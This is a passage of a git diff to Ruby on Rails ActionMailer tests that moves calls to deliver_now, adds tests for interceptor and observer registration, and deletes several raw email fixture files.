test "you can specify a different template for explicit render" do
- mail = BaseMailer.explicit_different_template('explicit_multipart_templates').deliver
+ mail = BaseMailer.explicit_different_template('explicit_multipart_templates').deliver_now
assert_equal("HTML Explicit Multipart Templates", mail.html_part.body.decoded)
assert_equal("TEXT Explicit Multipart Templates", mail.text_part.body.decoded)
end
test "you can specify a different layout" do
- mail = BaseMailer.different_layout('different_layout').deliver
+ mail = BaseMailer.different_layout('different_layout').deliver_now
assert_equal("HTML -- HTML", mail.html_part.body.decoded)
assert_equal("PLAIN -- PLAIN", mail.text_part.body.decoded)
end
test "you can specify the template path for implicit lookup" do
- mail = BaseMailer.welcome_from_another_path('another.path/base_mailer').deliver
+ mail = BaseMailer.welcome_from_another_path('another.path/base_mailer').deliver_now
assert_equal("Welcome from another path", mail.body.encoded)
- mail = BaseMailer.welcome_from_another_path(['unknown/invalid', 'another.path/base_mailer']).deliver
+ mail = BaseMailer.welcome_from_another_path(['unknown/invalid', 'another.path/base_mailer']).deliver_now
assert_equal("Welcome from another path", mail.body.encoded)
end
@@ -481,34 +538,33 @@ class BaseTest < ActiveSupport::TestCase
mail = AssetMailer.welcome
- assert_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
+ assert_dom_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
end
test "assets tags should use a Mailer's asset_host settings when available" do
- begin
- ActionMailer::Base.config.asset_host = "http://global.com"
- ActionMailer::Base.config.assets_dir = "global/"
+ ActionMailer::Base.config.asset_host = "http://global.com"
+ ActionMailer::Base.config.assets_dir = "global/"
- AssetMailer.asset_host = "http://local.com"
+ TempAssetMailer = Class.new(AssetMailer) do
+ self.mailer_name = "asset_mailer"
+ self.asset_host = "http://local.com"
+ end
- mail = AssetMailer.welcome
+ mail = TempAssetMailer.welcome
- assert_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
- ensure
- AssetMailer.asset_host = ActionMailer::Base.config.asset_host
- end
+ assert_dom_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
end
test 'the view is not rendered when mail was never called' do
mail = BaseMailer.without_mail_call
assert_equal('', mail.body.to_s.strip)
- mail.deliver
+ mail.deliver_now
end
test 'the return value of mailer methods is not relevant' do
mail = BaseMailer.with_nil_as_return_value
assert_equal('Welcome', mail.body.to_s.strip)
- mail.deliver
+ mail.deliver_now
end
# Before and After hooks
@@ -524,57 +580,87 @@ class BaseTest < ActiveSupport::TestCase
end
test "you can register an observer to the mail object that gets informed on email delivery" do
- ActionMailer::Base.register_observer(MyObserver)
- mail = BaseMailer.welcome
- MyObserver.expects(:delivered_email).with(mail)
- mail.deliver
+ mail_side_effects do
+ ActionMailer::Base.register_observer(MyObserver)
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ mail.deliver_now
+ end
end
test "you can register an observer using its stringified name to the mail object that gets informed on email delivery" do
- ActionMailer::Base.register_observer("BaseTest::MyObserver")
- mail = BaseMailer.welcome
- MyObserver.expects(:delivered_email).with(mail)
- mail.deliver
+ mail_side_effects do
+ ActionMailer::Base.register_observer("BaseTest::MyObserver")
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ mail.deliver_now
+ end
+ end
+
+ test "you can register an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
+ mail_side_effects do
+ ActionMailer::Base.register_observer(:"base_test/my_observer")
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ mail.deliver_now
+ end
end
test "you can register multiple observers to the mail object that both get informed on email delivery" do
- ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
- mail = BaseMailer.welcome
- MyObserver.expects(:delivered_email).with(mail)
- MySecondObserver.expects(:delivered_email).with(mail)
- mail.deliver
+ mail_side_effects do
+ ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ MySecondObserver.expects(:delivered_email).with(mail)
+ mail.deliver_now
+ end
end
class MyInterceptor
- def self.delivering_email(mail)
- end
+ def self.delivering_email(mail); end
+ def self.previewing_email(mail); end
end
class MySecondInterceptor
- def self.delivering_email(mail)
- end
+ def self.delivering_email(mail); end
+ def self.previewing_email(mail); end
end
test "you can register an interceptor to the mail object that gets passed the mail object before delivery" do
- ActionMailer::Base.register_interceptor(MyInterceptor)
- mail = BaseMailer.welcome
- MyInterceptor.expects(:delivering_email).with(mail)
- mail.deliver
+ mail_side_effects do
+ ActionMailer::Base.register_interceptor(MyInterceptor)
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver_now
+ end
end
test "you can register an interceptor using its stringified name to the mail object that gets passed the mail object before delivery" do
- ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
- mail = BaseMailer.welcome
- MyInterceptor.expects(:delivering_email).with(mail)
- mail.deliver
+ mail_side_effects do
+ ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver_now
+ end
+ end
+
+ test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
+ mail_side_effects do
+ ActionMailer::Base.register_interceptor(:"base_test/my_interceptor")
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver_now
+ end
end
test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
- ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
- mail = BaseMailer.welcome
- MyInterceptor.expects(:delivering_email).with(mail)
- MySecondInterceptor.expects(:delivering_email).with(mail)
- mail.deliver
+ mail_side_effects do
+ ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ MySecondInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver_now
+ end
end
test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
@@ -585,6 +671,10 @@ class BaseTest < ActiveSupport::TestCase
assert(mail1.to_s.to_i > mail2.to_s.to_i)
end
+ test 'default values which have to_proc (e.g. symbols) should not be considered procs' do
+ assert(ProcMailer.welcome['x-has-to-proc'].to_s == 'symbol')
+ end
+
test "we can call other defined methods on the class as needed" do
mail = ProcMailer.welcome
assert_equal("Thanks for signing up this afternoon", mail.subject)
@@ -674,6 +764,27 @@ class BaseTest < ActiveSupport::TestCase
assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
end
+ test "mail() without arguments serves as getter for the current mail message" do
+ class MailerWithCallback < ActionMailer::Base
+ after_action :a_callback
+
+ def welcome
+ headers('X-Special-Header' => 'special indeed!')
+ mail subject: "subject", body: "hello world", to: ["joe@example.com"]
+ end
+
+ def a_callback
+ mail.to << "jane@example.com"
+ end
+ end
+
+ mail = MailerWithCallback.welcome
+ assert_equal "subject", mail.subject
+ assert_equal ["joe@example.com", "jane@example.com"], mail.to
+ assert_equal "hello world", mail.body.encoded.strip
+ assert_equal "special indeed!", mail["X-Special-Header"].to_s
+ end
+
protected
# Execute the block setting the given values and restoring old values after
@@ -698,4 +809,77 @@ class BaseTest < ActiveSupport::TestCase
ensure
klass.default_params = old
end
+
+ # A simple hack to restore the observers and interceptors for Mail, as it
+ # does not have an unregister API yet.
+ def mail_side_effects
+ old_observers = Mail.class_variable_get(:@@delivery_notification_observers)
+ old_delivery_interceptors = Mail.class_variable_get(:@@delivery_interceptors)
+ yield
+ ensure
+ Mail.class_variable_set(:@@delivery_notification_observers, old_observers)
+ Mail.class_variable_set(:@@delivery_interceptors, old_delivery_interceptors)
+ end
+
+ def with_translation(locale, data)
+ I18n.backend.store_translations(locale, data)
+ yield
+ ensure
+ I18n.backend.reload!
+ end
+end
+
+class BasePreviewInterceptorsTest < ActiveSupport::TestCase
+ teardown do
+ ActionMailer::Base.preview_interceptors.clear
+ end
+
+ class BaseMailerPreview < ActionMailer::Preview
+ def welcome
+ BaseMailer.welcome
+ end
+ end
+
+ class MyInterceptor
+ def self.delivering_email(mail); end
+ def self.previewing_email(mail); end
+ end
+
+ class MySecondInterceptor
+ def self.delivering_email(mail); end
+ def self.previewing_email(mail); end
+ end
+
+ test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptor(MyInterceptor)
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
+ test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptor("BasePreviewInterceptorsTest::MyInterceptor")
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
+ test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptor(:"base_preview_interceptors_test/my_interceptor")
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
+ test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptors("BasePreviewInterceptorsTest::MyInterceptor", MySecondInterceptor)
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ MySecondInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
end
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
index 61a037ea18..2e4e019bf7 100644
--- a/actionmailer/test/delivery_methods_test.rb
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -38,19 +38,21 @@ class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
end
test "default sendmail settings" do
- settings = {location: '/usr/sbin/sendmail',
- arguments: '-i -t'}
+ settings = {
+ location: '/usr/sbin/sendmail',
+ arguments: '-i -t'
+ }
assert_equal settings, ActionMailer::Base.sendmail_settings
end
end
class CustomDeliveryMethodsTest < ActiveSupport::TestCase
- def setup
+ setup do
@old_delivery_method = ActionMailer::Base.delivery_method
ActionMailer::Base.add_delivery_method :custom, MyCustomDelivery
end
- def teardown
+ teardown do
ActionMailer::Base.delivery_method = @old_delivery_method
new = ActionMailer::Base.delivery_methods.dup
new.delete(:custom)
@@ -91,34 +93,32 @@ class MailDeliveryTest < ActiveSupport::TestCase
end
end
- def setup
- ActionMailer::Base.delivery_method = :smtp
+ setup do
+ @old_delivery_method = DeliveryMailer.delivery_method
end
- def teardown
- DeliveryMailer.delivery_method = :smtp
- DeliveryMailer.perform_deliveries = true
- DeliveryMailer.raise_delivery_errors = true
+ teardown do
+ DeliveryMailer.delivery_method = @old_delivery_method
+ DeliveryMailer.deliveries.clear
end
test "ActionMailer should be told when Mail gets delivered" do
- DeliveryMailer.deliveries.clear
DeliveryMailer.expects(:deliver_mail).once
- DeliveryMailer.welcome.deliver
+ DeliveryMailer.welcome.deliver_now
end
test "delivery method can be customized per instance" do
- email = DeliveryMailer.welcome.deliver
+ Mail::SMTP.any_instance.expects(:deliver!)
+ email = DeliveryMailer.welcome.deliver_now
assert_instance_of Mail::SMTP, email.delivery_method
- email = DeliveryMailer.welcome(delivery_method: :test).deliver
+ email = DeliveryMailer.welcome(delivery_method: :test).deliver_now
assert_instance_of Mail::TestMailer, email.delivery_method
end
test "delivery method can be customized in subclasses not changing the parent" do
DeliveryMailer.delivery_method = :test
assert_equal :smtp, ActionMailer::Base.delivery_method
- $BREAK = true
- email = DeliveryMailer.welcome.deliver
+ email = DeliveryMailer.welcome.deliver_now
assert_instance_of Mail::TestMailer, email.delivery_method
end
@@ -138,13 +138,15 @@ class MailDeliveryTest < ActiveSupport::TestCase
end
test "default delivery options can be overridden per mail instance" do
- settings = { address: "localhost",
- port: 25,
- domain: 'localhost.localdomain',
- user_name: nil,
- password: nil,
- authentication: nil,
- enable_starttls_auto: true }
+ settings = {
+ address: "localhost",
+ port: 25,
+ domain: 'localhost.localdomain',
+ user_name: nil,
+ password: nil,
+ authentication: nil,
+ enable_starttls_auto: true
+ }
assert_equal settings, ActionMailer::Base.smtp_settings
overridden_options = {user_name: "overridden", password: "somethingobtuse"}
mail_instance = DeliveryMailer.welcome(delivery_method_options: overridden_options)
@@ -152,60 +154,84 @@ class MailDeliveryTest < ActiveSupport::TestCase
assert_equal "overridden", delivery_method_instance.settings[:user_name]
assert_equal "somethingobtuse", delivery_method_instance.settings[:password]
assert_equal delivery_method_instance.settings.merge(overridden_options), delivery_method_instance.settings
+
+ # make sure that overriding delivery method options per mail instance doesn't affect the Base setting
+ assert_equal settings, ActionMailer::Base.smtp_settings
end
test "non registered delivery methods raises errors" do
DeliveryMailer.delivery_method = :unknown
assert_raise RuntimeError do
- DeliveryMailer.welcome.deliver
+ DeliveryMailer.welcome.deliver_now
+ end
+ end
+
+ test "undefined delivery methods raises errors" do
+ DeliveryMailer.delivery_method = nil
+ assert_raise RuntimeError do
+ DeliveryMailer.welcome.deliver_now
end
end
test "does not perform deliveries if requested" do
- DeliveryMailer.perform_deliveries = false
- DeliveryMailer.deliveries.clear
- Mail::Message.any_instance.expects(:deliver!).never
- DeliveryMailer.welcome.deliver
+ old_perform_deliveries = DeliveryMailer.perform_deliveries
+ begin
+ DeliveryMailer.perform_deliveries = false
+ Mail::Message.any_instance.expects(:deliver!).never
+ DeliveryMailer.welcome.deliver_now
+ ensure
+ DeliveryMailer.perform_deliveries = old_perform_deliveries
+ end
end
test "does not append the deliveries collection if told not to perform the delivery" do
- DeliveryMailer.perform_deliveries = false
- DeliveryMailer.deliveries.clear
- DeliveryMailer.welcome.deliver
- assert_equal(0, DeliveryMailer.deliveries.length)
+ old_perform_deliveries = DeliveryMailer.perform_deliveries
+ begin
+ DeliveryMailer.perform_deliveries = false
+ DeliveryMailer.welcome.deliver_now
+ assert_equal [], DeliveryMailer.deliveries
+ ensure
+ DeliveryMailer.perform_deliveries = old_perform_deliveries
+ end
end
test "raise errors on bogus deliveries" do
DeliveryMailer.delivery_method = BogusDelivery
- DeliveryMailer.deliveries.clear
assert_raise RuntimeError do
- DeliveryMailer.welcome.deliver
+ DeliveryMailer.welcome.deliver_now
end
end
test "does not increment the deliveries collection on error" do
DeliveryMailer.delivery_method = BogusDelivery
- DeliveryMailer.deliveries.clear
assert_raise RuntimeError do
- DeliveryMailer.welcome.deliver
+ DeliveryMailer.welcome.deliver_now
end
- assert_equal(0, DeliveryMailer.deliveries.length)
+ assert_equal [], DeliveryMailer.deliveries
end
test "does not raise errors on bogus deliveries if set" do
- DeliveryMailer.delivery_method = BogusDelivery
- DeliveryMailer.raise_delivery_errors = false
- assert_nothing_raised do
- DeliveryMailer.welcome.deliver
+ old_raise_delivery_errors = DeliveryMailer.raise_delivery_errors
+ begin
+ DeliveryMailer.delivery_method = BogusDelivery
+ DeliveryMailer.raise_delivery_errors = false
+ assert_nothing_raised do
+ DeliveryMailer.welcome.deliver_now
+ end
+ ensure
+ DeliveryMailer.raise_delivery_errors = old_raise_delivery_errors
end
end
test "does not increment the deliveries collection on bogus deliveries" do
- DeliveryMailer.delivery_method = BogusDelivery
- DeliveryMailer.raise_delivery_errors = false
- DeliveryMailer.deliveries.clear
- DeliveryMailer.welcome.deliver
- assert_equal(0, DeliveryMailer.deliveries.length)
+ old_raise_delivery_errors = DeliveryMailer.raise_delivery_errors
+ begin
+ DeliveryMailer.delivery_method = BogusDelivery
+ DeliveryMailer.raise_delivery_errors = false
+ DeliveryMailer.welcome.deliver_now
+ assert_equal [], DeliveryMailer.deliveries
+ ensure
+ DeliveryMailer.raise_delivery_errors = old_raise_delivery_errors
+ end
end
-
end
diff --git a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
index 30466dd005..d676a6d2da 100644
--- a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
+++ b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
@@ -1 +1 @@
-<%= t('.greet_user', :name => 'lifo') %> \ No newline at end of file
+<%= t('.greet_user', name: 'lifo') %> \ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb b/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb
new file mode 100644
index 0000000000..6decd3bb31
--- /dev/null
+++ b/actionmailer/test/fixtures/base_test/late_inline_attachment_mailer/on_render.erb
@@ -0,0 +1,7 @@
+<h1>Adding an inline image while rendering</h1>
+
+<% controller.attachments.inline["controller_attachments.jpg"] = 'via controller.attachments.inline' %>
+<%= image_tag attachments['controller_attachments.jpg'].url %>
+
+<% attachments.inline["attachments.jpg"] = 'via attachments.inline' %>
+<%= image_tag attachments['attachments.jpg'].url %>
diff --git a/actionmailer/test/fixtures/raw_email10 b/actionmailer/test/fixtures/raw_email10
deleted file mode 100644
index edad5ccff1..0000000000
--- a/actionmailer/test/fixtures/raw_email10
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=X-UNKNOWN
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email12 b/actionmailer/test/fixtures/raw_email12
deleted file mode 100644
index 2cd31720d3..0000000000
--- a/actionmailer/test/fixtures/raw_email12
+++ /dev/null
@@ -1,32 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
- charset=ISO-8859-1;
- delsp=yes;
- format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: image/jpeg
-Content-Transfer-Encoding: base64
-Content-Location: Photo25.jpg
-Content-ID: <qbFGyPQAS8>
-Content-Disposition: inline
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
-
diff --git a/actionmailer/test/fixtures/raw_email13 b/actionmailer/test/fixtures/raw_email13
deleted file mode 100644
index 7d9314e36a..0000000000
--- a/actionmailer/test/fixtures/raw_email13
+++ /dev/null
@@ -1,29 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
- charset=ISO-8859-1;
- delsp=yes;
- format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: text/x-ruby-script; name="hello.rb"
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment;
- filename="api.rb"
-
-puts "Hello, world!"
-gets
-
---Apple-Mail-13-196941151--
-
diff --git a/actionmailer/test/fixtures/raw_email2 b/actionmailer/test/fixtures/raw_email2
deleted file mode 100644
index 9f87bb2a98..0000000000
--- a/actionmailer/test/fixtures/raw_email2
+++ /dev/null
@@ -1,114 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May 8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-X-Original-To: xxxxx@xxxxx.xxxxxxxxx.com
-Delivered-To: xxxxx@xxxxx.xxxxxxxxx.com
-Received: from localhost (localhost [127.0.0.1])
- by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 06C9DA98D
- for <xxxxx@xxxxx.xxxxxxxxx.com>; Sun, 8 May 2005 19:09:13 +0000 (GMT)
-Received: from xxxxx.xxxxxxxxx.com ([127.0.0.1])
- by localhost (xxxxx.xxxxxxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 88783-08 for <xxxxx@xxxxx.xxxxxxxxx.com>;
- Sun, 8 May 2005 19:09:12 +0000 (GMT)
-Received: from xxxxxxx.xxxxxxxxx.com (xxxxxxx.xxxxxxxxx.com [69.36.39.150])
- by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 10D8BA960
- for <xxxxx@xxxxxxxxx.org>; Sun, 8 May 2005 19:09:12 +0000 (GMT)
-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.199])
- by xxxxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 9EBC4148EAB
- for <xxxxx@xxxxxxxxx.com>; Sun, 8 May 2005 14:09:11 -0500 (CDT)
-Received: by zproxy.gmail.com with SMTP id 13so1233405nzp
- for <xxxxx@xxxxxxxxx.com>; Sun, 08 May 2005 12:09:11 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
- s=beta; d=gmail.com;
- h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
- b=cid1mzGEFa3gtRa06oSrrEYfKca2CTKu9sLMkWxjbvCsWMtp9RGEILjUz0L5RySdH5iO661LyNUoHRFQIa57bylAbXM3g2DTEIIKmuASDG3x3rIQ4sHAKpNxP7Pul+mgTaOKBv+spcH7af++QEJ36gHFXD2O/kx9RePs3JNf/K8=
-Received: by 10.36.10.16 with SMTP id 16mr1012493nzj;
- Sun, 08 May 2005 12:09:11 -0700 (PDT)
-Received: by 10.36.5.10 with HTTP; Sun, 8 May 2005 12:09:11 -0700 (PDT)
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
- boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Just started to use my xxxxxxxx account (to set-up a GTD system,
-natch) and noticed that when I send content via email the signature/
-certificate from my email account gets added as a file (e.g.
-"smime.p7s").
-
-Obviously I can uncheck the signature option in the Mail compose
-window but how often will I remember to do that?
-
-Is there any way these kind of files could be ignored, e.g. via some
-sort of exclusions list?
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/pkcs7-signature; name=smime.p7s
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="smime.p7s"
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-o8xS3A0a1LXealcmlEbJibmKkEaoXci3MhryLgpaa+Kk/sH02SNatDO1vS28bPsibZpcc6deFrla
-hSYnL+PW54mDTGHIcCN2fbx/Y6qspzqmtKaXrv75NBtuy9cB6KzU4j2xXbTkAwz3pRSghJJaAwdp
-+yIivAD3vr0kJE3p+Ez34HMh33EXEpFoWcN+MCEQZD9WnmFViMrvfvMXLGVFQfAAcC060eGFSRJ1
-ZQ9UVQIDAQABoy0wKzAbBgNVHREEFDASgRBzbWhhdW5jaEBtYWMuY29tMAwGA1UdEwEB/wQCMAAw
-DQYJKoZIhvcNAQEEBQADgYEAQMrg1n2pXVWteP7BBj+Pk3UfYtbuHb42uHcLJjfjnRlH7AxnSwrd
-L3HED205w3Cq8T7tzVxIjRRLO/ljq0GedSCFBky7eYo1PrXhztGHCTSBhsiWdiyLWxKlOxGAwJc/
-lMMnwqLOdrQcoF/YgbjeaUFOQbUh94w9VDNpWZYCZwcwggM/MIICqKADAgECAgENMA0GCSqGSIb3
-DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
-YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
-aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
-Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3
-MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENv
-bnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElz
-c3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f
-6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYk
-KhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGj
-gZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRo
-YXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0R
-BCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM
-0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZ
-GwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBPZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZ
-Nd4ksdMdRv9dX2VPMYIC5zCCAuMCAQEwaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3Rl
